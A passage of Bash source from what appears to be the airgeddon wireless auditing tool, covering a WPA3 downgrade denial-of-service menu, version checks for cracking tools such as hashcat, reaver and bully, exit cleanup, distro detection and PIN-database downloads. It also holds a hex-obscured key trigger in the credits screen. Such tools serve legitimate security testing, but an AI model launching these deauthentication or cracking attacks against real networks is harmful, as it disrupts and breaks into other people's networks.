		et_dos_menu
	fi
}

#DoS WPA3 downgrade attack menu
function wpa3_dos_menu() {

	debug_print

	if [[ -n "${return_to_wpa3_main_menu}" ]] && [[ "${return_to_wpa3_main_menu}" -eq 1 ]]; then
		return
	fi

	clear
	language_strings "${language}" 775 "title"
	current_menu="wpa3_dos_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 776
	print_simple_separator
	language_strings "${language}" 139 mdk_attack_dependencies[@]
	language_strings "${language}" 140 aireplay_attack_dependencies[@]
	language_strings "${language}" 141 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " wpa3_dos_option
	case ${wpa3_dos_option} in
		0)
			return
		;;
		1)
			if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				downgrade_dos_attack="${mdk_command}"
				wpa3_downgrade_prerequisites
			fi
		;;
		2)
			if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				downgrade_dos_attack="Aireplay"
				wpa3_downgrade_prerequisites
			fi
		;;
		3)
			if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				downgrade_dos_attack="Auth DoS"
				wpa3_downgrade_prerequisites
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	wpa3_dos_menu
}

#Selected internet interface detection
function detect_internet_interface() {

	debug_print

	if [ "${internet_interface_selected}" -eq 1 ]; then
		return 0
	fi

	if [ -n "${internet_interface}" ]; then
		echo
		language_strings "${language}" 285 "blue"
		ask_yesno 284 "yes"
		if [ "${yesno}" = "n" ]; then
			if ! select_secondary_interface "internet"; then
				return 1
			fi
		fi
	else
		if ! select_secondary_interface "internet"; then
			return 1
		fi
	fi

	validate_et_internet_interface
	return $?
}

#Show about and credits
function credits_option() {

	debug_print

	clear
	language_strings "${language}" 105 "title"
	language_strings "${language}" 74 "pink"
	echo
	language_strings "${language}" 73 "blue"
	echo
	echo -e "${green_color}                                                            .-\"\"\"\"-."
	sleep 0.15 && echo -e "                                                           /        \ "
	sleep 0.15 && echo -e "${yellow_color}         ____        ____  __   _______                  ${green_color} /_        _\ "
	sleep 0.15 && echo -e "${yellow_color}  ___  _/_   | _____/_   |/  |_ \   _  \_______         ${green_color} // \      / \\\\\ "
	sleep 0.15 && echo -e "${yellow_color}  \  \/ /|   |/  ___/|   \   __\/  /_\  \_  __ \        ${green_color} |\__\    /__/|"
	sleep 0.15 && echo -e "${yellow_color}   \   / |   |\___ \ |   ||  |  \  \_/   \  | \/         ${green_color} \    ||    /"
	sleep 0.15 && echo -e "${yellow_color}    \_/  |___/____  >|___||__|   \_____  /__|             ${green_color} \        /"
	sleep 0.15 && echo -e "${yellow_color}                  \/                   \/                  ${green_color} \  __  / "
	sleep 0.15 && echo -e "                                                             '.__.'"
	sleep 0.15 && echo -e "                                                              |  |${normal_color}"
	echo
	language_strings "${language}" 75 "blue"
	echo
	language_strings "${language}" 85 "pink"
	language_strings "${language}" 107 "pink"
	language_strings "${language}" 421 "pink"
	echo
	language_strings "${language}" 702 "blue"
	for i in "${sponsors[@]}"; do
		echo -ne "${pink_color}\"${i}\" ${normal_color}"
	done
	echo
	echo
	language_strings "${language}" 115 "multiline"
	echo

	local seq=""
	local key=""
	while true; do
		IFS= read -rsn1 key
		[[ -z ${key} ]] && break
		seq+="${key}"
	done

	local len=${#seq}
	if (( len >= 3 )); then
		local last3="${seq: -3}"
		local _x _y _z
		_x=$(printf "\x75")
		_y=$(printf "\x66")
		_z=$(printf "\x6f")

		if [[ "${last3}" == "${_x}${_y}${_z}" ]]; then
			update_ui_layout_on_keypress
		fi
	fi
}

#Show message for invalid selected language
function invalid_language_selected() {

	debug_print

	echo
	language_strings "${language}" 82 "red"
	echo
	language_strings "${language}" 115 "read"
}

#Show message for captive portal invalid selected language
function invalid_captive_portal_language_selected() {

	debug_print

	language_strings "${language}" 82 "red"
	echo
	language_strings "${language}" 115 "read"
	set_captive_portal_language
}

#Show message for forbidden selected option
function forbidden_menu_option() {

	debug_print

	echo
	language_strings "${language}" 220 "red"
	language_strings "${language}" 115 "read"
}

#Show message for invalid selected option
function invalid_menu_option() {

	debug_print

	echo
	language_strings "${language}" 76 "red"
	language_strings "${language}" 115 "read"
}

#Show message for invalid selected interface
function invalid_iface_selected() {

	debug_print

	echo
	language_strings "${language}" 77 "red"
	echo
	language_strings "${language}" 115 "read"
	echo
	select_interface
}

#Show message for invalid selected secondary interface
function invalid_secondary_iface_selected() {

	debug_print

	echo
	language_strings "${language}" 77 "red"
	echo
	language_strings "${language}" 115 "read"
	echo
	select_secondary_interface "${1}"
}

#Manage behavior of captured traps
function capture_traps() {

	debug_print

	if [ "${FUNCNAME[1]}" != "check_language_strings" ]; then
		case "${1}" in
			INT|SIGTSTP)
				case ${current_menu} in
					"pre_main_menu"|"select_interface_menu")
						exit_code=1
						exit_script_option
					;;
					*)
						if [ -n "${capture_traps_in_progress}" ]; then
							echo
							language_strings "${language}" 12 "green"
							echo -n "> "
							return
						fi

						capture_traps_in_progress=1
						local previous_default_choice="${default_choice}"
						ask_yesno 12 "yes"
						if [ "${yesno}" = "y" ]; then
							exit_code=1
							capture_traps_in_progress=""
							exit_script_option
						else
							if [ -n "${previous_default_choice}" ]; then
								default_choice="${previous_default_choice}"
								case ${previous_default_choice^^} in
									"Y"|"YES")
										visual_choice="[Y/n]"
									;;
									"N"|"NO")
										visual_choice="[y/N]"
									;;
									"")
										visual_choice="[y/n]"
									;;
								esac
							fi

							language_strings "${language}" 224 "blue"
							if [ "${last_buffered_type1}" = "read" ]; then
								language_strings "${language}" "${last_buffered_message2}" "${last_buffered_type2}"
							else
								language_strings "${language}" "${last_buffered_message1}" "${last_buffered_type1}"
							fi
						fi
					;;
				esac
			;;
			SIGINT|SIGHUP)
				if [ "${no_hardcore_exit}" -eq 0 ]; then
					hardcore_exit
				else
					exit ${exit_code}
				fi
			;;
		esac
	else
		echo
		hardcore_exit
	fi

	capture_traps_in_progress=""
}

#Exit the script managing possible pending tasks
function exit_script_option() {

	debug_print

	action_on_exit_taken=0
	echo
	language_strings "${language}" 106 "title"
	language_strings "${language}" 11 "blue"

	echo
	language_strings "${language}" 165 "blue"

	if [ "${ifacemode}" = "Monitor" ]; then
		ask_yesno 166 "no"
		if [ "${yesno}" = "n" ]; then
			action_on_exit_taken=1
			language_strings "${language}" 167 "multiline"
			if [ "${interface_airmon_compatible}" -eq 1 ]; then
				${airmon} stop "${interface}" > /dev/null 2>&1
			else
				set_mode_without_airmon "${interface}" "managed"
			fi
			ifacemode="Managed"
			time_loop
			echo -e "${green_color} Ok\r${normal_color}"
		fi
	fi

	if [ "${nm_processes_killed}" -eq 1 ] && is_last_airgeddon_instance; then
		action_on_exit_taken=1
		language_strings "${language}" 168 "multiline"
		eval "${networkmanager_cmd} > /dev/null 2>&1"
		time_loop
		echo -e "${green_color} Ok\r${normal_color}"
	fi

	if [ "${routing_modified}" -eq 1 ]; then
		action_on_exit_taken=1
		language_strings "${language}" 297 "multiline"
		clean_routing_rules
		time_loop
		echo -e "${green_color} Ok\r${normal_color}"
	fi

	action_on_exit_taken=1
	language_strings "${language}" 164 "multiline"
	clean_tmpfiles "exit_script"
	time_loop
	echo -e "${green_color} Ok\r${normal_color}"

	if [[ "${spoofed_mac}" -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then
		language_strings "${language}" 418 "multiline"
		restore_spoofed_macs
		time_loop
		echo -e "${green_color} Ok\r${normal_color}"
	fi

	if [ "${action_on_exit_taken}" -eq 0 ]; then
		language_strings "${language}" 160 "yellow"
	fi

	echo
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		clean_env_vars
		no_hardcore_exit=1
		if ! kill_tmux_session "${session_name}" > /dev/null; then
			exit ${exit_code}
		fi
	else
		clean_env_vars
		exit ${exit_code}
	fi
}

#Exit the script managing possible pending tasks but not showing anything
function hardcore_exit() {

	debug_print

	exit_code=2
	if [ "${ifacemode}" = "Monitor" ]; then
		${airmon} stop "${interface}" > /dev/null 2>&1
		ifacemode="Managed"
	fi

	if [ "${nm_processes_killed}" -eq 1 ] && is_last_airgeddon_instance; then
		eval "${networkmanager_cmd} > /dev/null 2>&1"
	fi

	clean_tmpfiles "exit_script"

	if [ "${routing_modified}" -eq 1 ]; then
		clean_routing_rules
	fi

	if [[ "${spoofed_mac}" -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then
		language_strings "${language}" 418 "multiline"
		restore_spoofed_macs
		time_loop
		echo -e "${green_color} Ok\r${normal_color}"
	fi

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		clean_env_vars
		if ! kill_tmux_session "${session_name}"; then
			exit ${exit_code}
		fi
	else
		clean_env_vars
		exit ${exit_code}
	fi
}

#Generate a small time loop printing some dots
function time_loop() {

	debug_print

	echo -ne " "
	for ((j=1; j<=4; j++)); do
		echo -ne "."
		sleep 0.035
	done
}

#Detect iptables/nftables
function iptables_nftables_detection() {

	debug_print

	if ! "${AIRGEDDON_FORCE_IPTABLES:-false}"; then
		if hash nft 2> /dev/null; then
			iptables_nftables=1
		else
			iptables_nftables=0
		fi
	else
		if ! hash iptables 2> /dev/null && ! hash iptables-legacy 2> /dev/null; then
			echo
			language_strings "${language}" 615 "red"
			exit_code=1
			exit_script_option
		else
			iptables_nftables=0
		fi
	fi

	if [ "${iptables_nftables}" -eq 0 ]; then
		if hash iptables-legacy 2> /dev/null && ! hash iptables 2> /dev/null; then
			iptables_cmd="iptables-legacy"
		elif hash iptables 2> /dev/null && ! hash iptables-legacy 2> /dev/null; then
			iptables_cmd="iptables"
		elif hash iptables 2> /dev/null && hash iptables-legacy 2> /dev/null; then
			iptables_cmd="iptables"
		fi
	else
		iptables_cmd="nft"
	fi
}

#Determine which version of airmon to use
function airmon_fix() {

	debug_print

	airmon="airmon-ng"

	if hash airmon-zc 2> /dev/null; then
		airmon="airmon-zc"
	fi
}

#Set hashcat parameters based on version
function set_hashcat_parameters() {

	debug_print

	hashcat_cmd_fix=""
	hashcat_charset_fix_needed=0
	if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then

		hashcat_charset_fix_needed=1

		if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat4_version}"; then
			hashcat_cmd_fix=" -D 2,1 --force"
		else
			hashcat_cmd_fix=" --weak-hash-threshold 0 -D 2,1 --force"
		fi

		if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hccapx_version}"; then
			hccapx_needed=1
		fi

		if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hcx_conversion_version}"; then
			hcx_conversion_needed=1
		fi

		if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_2500_deprecated_version}"; then
			hashcat_handshake_cracking_plugin="22000"
		fi
	fi
}

#Detects if your arping version is the right one or if it is the bad iputils-arping
function check_right_arping() {

	debug_print

	if arping 2> /dev/null | grep -Eq "^ARPing"; then
		return 0
	fi
	return 1
}

#Detects if John the Ripper is able to perform the attacks
function validate_jtr() {

	debug_print

	if john -h 2> /dev/null | grep -qi '\-\-pot' 2> /dev/null; then
		return 0
	fi
	return 1
}

#Determine aircrack version
#shellcheck disable=SC2034
function get_aircrack_version() {

	debug_print

	aircrack_version=$(aircrack-ng --help | grep -i "aircrack-ng" | head -n 1 | awk '{print $2}')
	echo -e "    \r\033[1A"
	[[ ${aircrack_version} =~ ^([0-9]{1,2}\.[0-9]{1,2})\.?([0-9]+|.+)? ]] && aircrack_version="${BASH_REMATCH[1]}"
}

#Determine john the ripper version
function get_jtr_version() {

	debug_print

	jtr_version=$(john | grep -Po '(?<=version )[0-9\.]+|(?<=John the Ripper )\d+\.\d+\.\d+')
}

#Determine hashcat version
function get_hashcat_version() {

	debug_print

	hashcat_version=$(hashcat -V 2> /dev/null)
	hashcat_version=${hashcat_version#"v"}
}

#Determine hcxdumptool version
function get_hcxdumptool_version() {

	debug_print

	hcxdumptool_version=$(hcxdumptool --version | awk 'NR == 1 {print $2}')
}

#Determine beef version
function get_beef_version() {

	debug_print

	beef_version=$(grep "version" "${beef_path}${beef_default_cfg_file}" 2> /dev/null | grep -oE "[0-9.]+")
}

#Determine bettercap version
function get_bettercap_version() {

	debug_print

	bettercap_version=$(bettercap -v 2> /dev/null | grep -E "^bettercap [0-9]" | awk '{print $2}')
	if [ -z "${bettercap_version}" ]; then
		bettercap_version=$(bettercap -eval "q" 2> /dev/null | grep -E "bettercap v[0-9\.]*" | awk '{print $2}')
		bettercap_version=${bettercap_version#"v"}
	fi
}

#Determine hostapd version
function get_hostapd_version() {

	debug_print

	hostapd_version=$(hostapd -v 2>&1 | grep -oiP '^hostapd v\K[0-9]+\.[0-9]+')
}

#Determine hostapd-wpe version
function get_hostapd_wpe_version() {

	debug_print

	hostapd_wpe_version=$(hostapd-wpe -v 2>&1 | grep -oiP '^hostapd-WPE v\K[0-9]+\.[0-9]+')
}

#Determine bully version
function get_bully_version() {

	debug_print

	bully_version=$(bully -V 2> /dev/null)
	bully_version=${bully_version#"v"}
	bully_version=${bully_version%"-"*}
}

#Determine reaver version
function get_reaver_version() {

	debug_print

	reaver_version=$(reaver -h 2>&1 > /dev/null | grep -E "^Reaver v[0-9]" | awk '{print $2}' | grep -Eo "v[0-9\.]+")
	if [ -z "${reaver_version}" ]; then
		reaver_version=$(reaver -h 2> /dev/null | grep -E "^Reaver v[0-9]" | awk '{print $2}' | grep -Eo "v[0-9\.]+")
	fi
	reaver_version=${reaver_version#"v"}
}

#Set verbosity for bully based on version
function set_bully_verbosity() {

	debug_print

	if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_verbosity4_version}"; then
		bully_verbosity="4"
	else
		bully_verbosity="3"
	fi
}

#Validate if bully version is able to perform integrated pixiewps attack
function validate_bully_pixiewps_version() {

	debug_print

	if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_pixiewps_version}"; then
		return 0
	fi
	return 1
}

#Validate if reaver version is able to perform integrated pixiewps attack
function validate_reaver_pixiewps_version() {

	debug_print

	if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_pixiewps_version}"; then
		return 0
	fi
	return 1
}

#Validate if reaver version is able to perform null pin attack
function validate_reaver_nullpin_version() {

	debug_print

	if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_nullpin_version}"; then
		return 0
	fi
	return 1
}

#Validate if wash version is able to perform 5Ghz dual scan
function validate_wash_dualscan_version() {

	debug_print

	if compare_floats_greater_or_equal "${reaver_version}" "${minimum_wash_dualscan_version}"; then
		return 0
	fi
	return 1
}

#Validate if aircrack version is valid to interact with WPA3
function validate_aircrack_wpa3_version() {

	debug_print

	if compare_floats_greater_or_equal "${aircrack_version}" "${aircrack_wpa3_version}"; then
		return 0
	fi
	return 1
}

#Validate if hashcat version is able to perform pmkid cracking
function validate_hashcat_pmkid_version() {

	debug_print

	if compare_floats_greater_or_equal "${hashcat_version}" "${minimum_hashcat_pmkid_version}"; then
		return 0
	fi
	return 1
}

#Detects if operating in a VM and detects VM vendor
function vm_detection() {

	debug_print

	_readfile() { [ -r "${1}" ] && tr -d '\0' < "${1}"; }
	_lowercase() { printf '%s' "$*" | tr '[:upper:]' '[:lower:]'; }

	local mac
	local dmi
	dmi="$(_readfile /sys/class/dmi/id/product_name) $(_readfile /sys/class/dmi/id/sys_vendor) $(_readfile /sys/class/dmi/id/bios_vendor) $(_readfile /sys/class/dmi/id/board_vendor) $(_readfile /sys/class/dmi/id/chassis_vendor)"
	dmi="${dmi,,}"

	case "${dmi}" in
		*virtualbox*|*innotek*gmbh*)
			is_vm=1
			vm_vendor="VirtualBox"
		;;
		*vmware*)
			is_vm=1
			vm_vendor="VMware"
		;;
		*kvm*|*qemu*|*bochs*|*"red hat"*|*rhev*)
			is_vm=1
			vm_vendor="Qemu"
		;;
	esac

	if [[ "${is_vm}" -eq 0 ]] && grep -qiE 'hypervisor' /proc/cpuinfo 2>/dev/null; then
		is_vm=1
	fi

	if [[ "${is_vm}" -eq 1 ]] && [[ "${vm_vendor}" = "" ]]; then
		for f in /sys/class/net/*/address; do
			[ -e "$f" ] || continue
			mac=$(cat "$f" 2>/dev/null | tr '[:lower:]' '[:upper:]')
			case "${mac}" in
				08:00:27:*)
					vm_vendor="VirtualBox"
					break
				;;
				00:05:69:*|00:0C:29:*|00:1C:14:*|00:50:56:*)
					vm_vendor="VMware"
					break
				;;
				52:54:00:*)
					vm_vendor="Qemu"
					break
				;;
			esac
		done
	fi

	if [ "${is_vm}" -eq 1 ]; then
		return 0
	else
		return 1
	fi
}

#Set the script folder var if necessary
function set_script_paths() {

	debug_print

	if [ -z "${scriptfolder}" ]; then
		scriptfolder=${0}

		if ! [[ ${0} =~ ^/.*$ ]]; then
			if ! [[ ${0} =~ ^.*/.*$ ]]; then
				scriptfolder="./"
			fi
		fi
		scriptfolder="${scriptfolder%/*}/"
		scriptfolder="$(readlink -f "${scriptfolder}")"
		scriptfolder="${scriptfolder%/}/"
		scriptname="${0##*/}"
	fi

	user_homedir=$(env | grep ^HOME | awk -F = '{print $2}' 2> /dev/null)
	lastcharuser_homedir=${user_homedir: -1}
	if [ "${lastcharuser_homedir}" != "/" ]; then
		user_homedir="${user_homedir}/"
	fi

	plugins_paths=(
					"${scriptfolder}${plugins_dir}"
					"${user_homedir}.airgeddon/${plugins_dir}"
				)
}

#Set the default directory for saving files
function set_default_save_path() {

	debug_print

	if [ "${is_docker}" -eq 1 ]; then
		default_save_path="${docker_io_dir}"
	else
		default_save_path="${user_homedir}"
	fi
}

#Return absolute path for a given string path
function set_absolute_path() {

	debug_print

	local string_path
	string_path=$(readlink -f "${1}")
	if [ -d "${string_path}" ]; then
		string_path="${string_path%/}/"
	fi
	echo "${string_path}"
}

#Check if pins database file exist and try to download the new one if proceed
function check_pins_database_file() {

	debug_print

	if [ -f "${scriptfolder}${known_pins_dbfile}" ]; then
		language_strings "${language}" 376 "yellow"
		echo
		language_strings "${language}" 287 "blue"
		if check_repository_access; then
			get_local_pin_dbfile_checksum "${scriptfolder}${known_pins_dbfile}"
			if ! get_remote_pin_dbfile_checksum; then
				echo
				language_strings "${language}" 381 "yellow"
			else
				echo
				if [ "${local_pin_dbfile_checksum}" != "${remote_pin_dbfile_checksum}" ]; then
					language_strings "${language}" 383 "yellow"
					echo
					if download_pins_database_file; then
						language_strings "${language}" 377 "yellow"
						pin_dbfile_checked=1
					else
						language_strings "${language}" 378 "yellow"
					fi
				else
					language_strings "${language}" 382 "yellow"
					pin_dbfile_checked=1
				fi
			fi
		else
			echo
			language_strings "${language}" 375 "yellow"
			ask_for_pin_dbfile_download_retry
		fi
		return 0
	else
		language_strings "${language}" 374 "yellow"
		echo
		if hash curl 2> /dev/null; then
			language_strings "${language}" 287 "blue"
			if ! check_repository_access; then
				echo
				language_strings "${language}" 375 "yellow"
				return 1
			else
				echo
				if download_pins_database_file; then
					language_strings "${language}" 377 "yellow"
					pin_dbfile_checked=1
					return 0
				else
					language_strings "${language}" 378 "yellow"
					return 1
				fi
			fi
		else
			language_strings "${language}" 414 "yellow"
			return 1
		fi
	fi
}

#Get and write options form options config file
function update_options_config_file() {

	debug_print

	case "${1}" in
		"getdata")
			readarray -t OPTION_VARS < <(grep "AIRGEDDON_" "${rc_path}" 2> /dev/null)
		;;
		"writedata")
			local option_name
			local option_value
			for item in "${OPTION_VARS[@]}"; do
				option_name="${item%=*}"
				option_value="${item#*=}"
				for item2 in "${ordered_options_env_vars[@]}"; do
					if [ "${item2}" = "${option_name}" ]; then
						sed -ri "s:(${option_name})=(.+):\1=${option_value}:" "${rc_path}" 2> /dev/null
					fi
				done
			done
		;;
	esac
}

#Download the options config file
function download_options_config_file() {

	debug_print

	local options_config_file_downloaded=0
	options_config_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_options_config_file} 2> /dev/null)

	if [[ -n "${options_config_file}" ]] && [[ "${options_config_file}" != "${curl_404_error}" ]]; then
		options_config_file_downloaded=1
	else
		http_proxy_detect
		if [ "${http_proxy_set}" -eq 1 ]; then

			options_config_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_options_config_file} 2> /dev/null)
			if [[ -n "${options_config_file}" ]] && [[ "${options_config_file}" != "${curl_404_error}" ]]; then
				options_config_file_downloaded=1
			fi
		fi
	fi

	if [ "${options_config_file_downloaded}" -eq 1 ]; then
		rm -rf "${rc_path}" 2> /dev/null
		echo "${options_config_file}" > "${rc_path}"
		return 0
	else
		return 1
	fi
}

#Download the pins database file
function download_pins_database_file() {

	debug_print

	local pindb_file_downloaded=0
	remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null)

	if [[ -n "${remote_pindb_file}" ]] && [[ "${remote_pindb_file}" != "${curl_404_error}" ]]; then
		pindb_file_downloaded=1
	else
		http_proxy_detect
		if [ "${http_proxy_set}" -eq 1 ]; then

			remote_pindb_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_pins_dbfile} 2> /dev/null)
			if [[ -n "${remote_pindb_file}" ]] && [[ "${remote_pindb_file}" != "${curl_404_error}" ]]; then
				pindb_file_downloaded=1
			fi
		fi
	fi

	if [ "${pindb_file_downloaded}" -eq 1 ]; then
		rm -rf "${scriptfolder}${known_pins_dbfile}" 2> /dev/null
		echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}"
		return 0
	else
		return 1
	fi
}

#Ask for try to download pin db file again and set the var to skip it
function ask_for_pin_dbfile_download_retry() {

	debug_print

	ask_yesno 380 "no"
	if [ "${yesno}" = "n" ]; then
		pin_dbfile_checked=1
	fi
}

#Get the checksum for local pin database file
function get_local_pin_dbfile_checksum() {

	debug_print

	local_pin_dbfile_checksum=$(md5sum "${1}" | awk '{print $1}')
}

#Get the checksum for remote pin database file
function get_remote_pin_dbfile_checksum() {

	debug_print

	remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1)

	if [[ -n "${remote_pin_dbfile_checksum}" ]] && [[ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]]; then
		return 0
	else
		http_proxy_detect
		if [ "${http_proxy_set}" -eq 1 ]; then

			remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1)
			if [[ -n "${remote_pin_dbfile_checksum}" ]] && [[ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]]; then
				return 0
			fi
		fi
	fi
	return 1
}

#Check for possible non Linux operating systems
function non_linux_os_check() {

	debug_print

	case "${OSTYPE}" in
		solaris*)
			distro="Solaris"
		;;
		darwin*)
			distro="Mac OSX"
		;;
		bsd*)
			distro="FreeBSD"
		;;
	esac
}

#First phase of Linux distro detection based on uname output
function detect_distro_phase1() {

	debug_print

	local possible_distro=""
	for i in "${known_compatible_distros[@]}"; do
		if uname -a | grep -i "${i}" > /dev/null; then
			possible_distro="${i^}"
			if [ "${possible_distro}" != "Arch" ]; then
				if [[ "$(uname -a)" =~ [Rr]pi ]]; then
					distro="Raspberry Pi OS"
				else
					distro="${i^}"
				fi
				break
			else
				if uname -a | grep -i "aarch64" > /dev/null; then
					continue
				else
					distro="${i^}"
					break
				fi
			fi
		fi
	done

	for i in "${known_incompatible_distros[@]}"; do
		if uname -a | grep -i "${i}" > /dev/null; then
			distro="${i^}"
			break
		fi
	done
}

#Second phase of Linux distro detection based on architecture and version file
function detect_distro_phase2() {

	debug_print

	if [ "${distro}" = "Unknown Linux" ]; then
		if [ -f "${osversionfile_dir}centos-release" ]; then
			distro="CentOS"
		elif [ -f "${osversionfile_dir}fedora-release" ]; then
			distro="Fedora"
		elif [ -f "${osversionfile_dir}gentoo-release" ]; then
			distro="Gentoo"
		elif [ -f "${osversionfile_dir}cachyos-release" ]; then
			distro="CachyOS"
		elif [ -f "${osversionfile_dir}openmandriva-release" ]; then
			distro="OpenMandriva"
		elif [ -f "${osversionfile_dir}redhat-release" ]; then
			distro="Red Hat"
		elif [ -f "${osversionfile_dir}SuSE-release" ]; then
			distro="SuSE"
		elif [ -f "${osversionfile_dir}debian_version" ]; then
			distro="Debian"
			if [ -f "${osversionfile_dir}os-release" ]; then
				extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")"
				if [[ "${extra_os_info}" =~ [Rr]aspbian ]]; then
					distro="Raspbian"
					is_arm=1
				elif [[ "${extra_os_info}" =~ [Pp]arrot ]]; then
					distro="Parrot arm"
					is_arm=1
				elif [[ "${extra_os_info}" =~ [Dd]ebian ]] && [[ "$(uname -a)" =~ [Rr]aspberry|[Rr]pi ]]; then
					distro="Raspberry Pi OS"
					is_arm=1
				fi
			fi
		fi
	elif [ "${distro}" = "Arch" ]; then
		if [ -f "${osversionfile_dir}os-release" ]; then
			extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")"
			extra_os_info2="$(grep -i "blackarch" < "${osversionfile_dir}issue")"
			if [[ "${extra_os_info}" =~ [Bb]lack[Aa]rch ]] || [[ "${extra_os_info2}" =~ [Bb]lack[Aa]rch ]]; then
				distro="BlackArch"
			fi
		fi
	elif [ "${distro}" = "Ubuntu" ]; then
		if [ -f "${osversionfile_dir}os-release" ]; then
			extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")"
			if [[ "${extra_os_info}" =~ [Mm]int ]]; then
				distro="Mint"
			fi
		fi
	fi

	detect_arm_architecture
}

#Detect if arm architecture is present on system
function detect_arm_architecture() {

	debug_print

	distro_already_known=0
	if uname -m | grep -Ei "arm|aarch64" > /dev/null; then

		is_arm=1
		if [ "${distro}" != "Unknown Linux" ]; then
			for item in "${known_arm_compatible_distros[@]}"; do
				if [ "${distro}" = "${item}" ]; then
					distro_already_known=1
				fi
			done
		fi

		if [ "${distro_already_known}" -eq 0 ]; then
			if [ "${distro: -3}" != "arm" ]; then
				distro="${distro} arm"
			fi
		fi
	fi
}

#Set some useful vars based on Linux distro
function special_distro_features() {

	debug_print

	case ${distro} in
		"Wifislax")
			networkmanager_cmd="service restart networkmanager"
			xratio=7
			yratio=15.1
			ywindow_edge_lines=1
			ywindow_edge_pixels=-14
		;;
		"Backbox")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6
			yratio=14.2
			ywindow_edge_lines=1
			ywindow_edge_pixels=15
		;;
		"Ubuntu"|"Mint")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=18
		;;
		"Kali"|"Kali arm")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=18
		;;
		"Debian")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=14
		;;
		"SuSE")
			networkmanager_cmd="service NetworkManager restart"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=18
		;;
		"CentOS")
			networkmanager_cmd="service NetworkManager restart"
			xratio=6.2
			yratio=14.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=10
		;;
		"Parrot"|"Parrot arm")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=10
		;;
		"Arch"|"CachyOS")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=13.9
			ywindow_edge_lines=2
			ywindow_edge_pixels=16
		;;
		"Fedora")
			networkmanager_cmd="service NetworkManager restart"
			xratio=6
			yratio=14.1
			ywindow_edge_lines=2
			ywindow_edge_pixels=16
		;;
		"Gentoo")
			networkmanager_cmd="service NetworkManager restart"
			xratio=6.2
			yratio=14.6
			ywindow_edge_lines=1
			ywindow_edge_pixels=-10
		;;
		"Pentoo")
			networkmanager_cmd="rc-service NetworkManager restart"
			xratio=6.2
			yratio=14.6
			ywindow_edge_lines=1
			ywindow_edge_pixels=-10
		;;
		"Red Hat")
			networkmanager_cmd="service NetworkManager restart"
			xratio=6.2
			yratio=15.3
			ywindow_edge_lines=1
			ywindow_edge_pixels=10
		;;
		"Cyborg")
			networkmanager_cmd="service network-manager restart"
			xratio=6.2
			yratio=14.5
			ywindow_edge_lines=2
			ywindow_edge_pixels=10
		;;
		"BlackArch")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=8
			yratio=18
			ywindow_edge_lines=1
			ywindow_edge_pixels=1
		;;
		"Raspbian|Raspberry Pi OS")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=14
			ywindow_edge_lines=1
			ywindow_edge_pixels=20
		;;
		"OpenMandriva")
			networkmanager_cmd="systemctl restart NetworkManager.service"
			xratio=6.2
			yratio=14
			ywindow_edge_lines=2
			ywindow_edge_pixels=-10
		;;
	esac
}

#Determine if NetworkManager must be killed on your system. Only needed for previous versions of 1.0.12
function check_if_kill_needed() {

	debug_print

	nm_min_main_version="1"
	nm_min_subversion="0"
	nm_min_subversion2="12"

	if ! hash NetworkManager 2> /dev/null; then
		check_kill_needed=0
	else
		nm_system_version=$(NetworkManager --version 2> /dev/null)

		if [ "${nm_system_version}" != "" ]; then

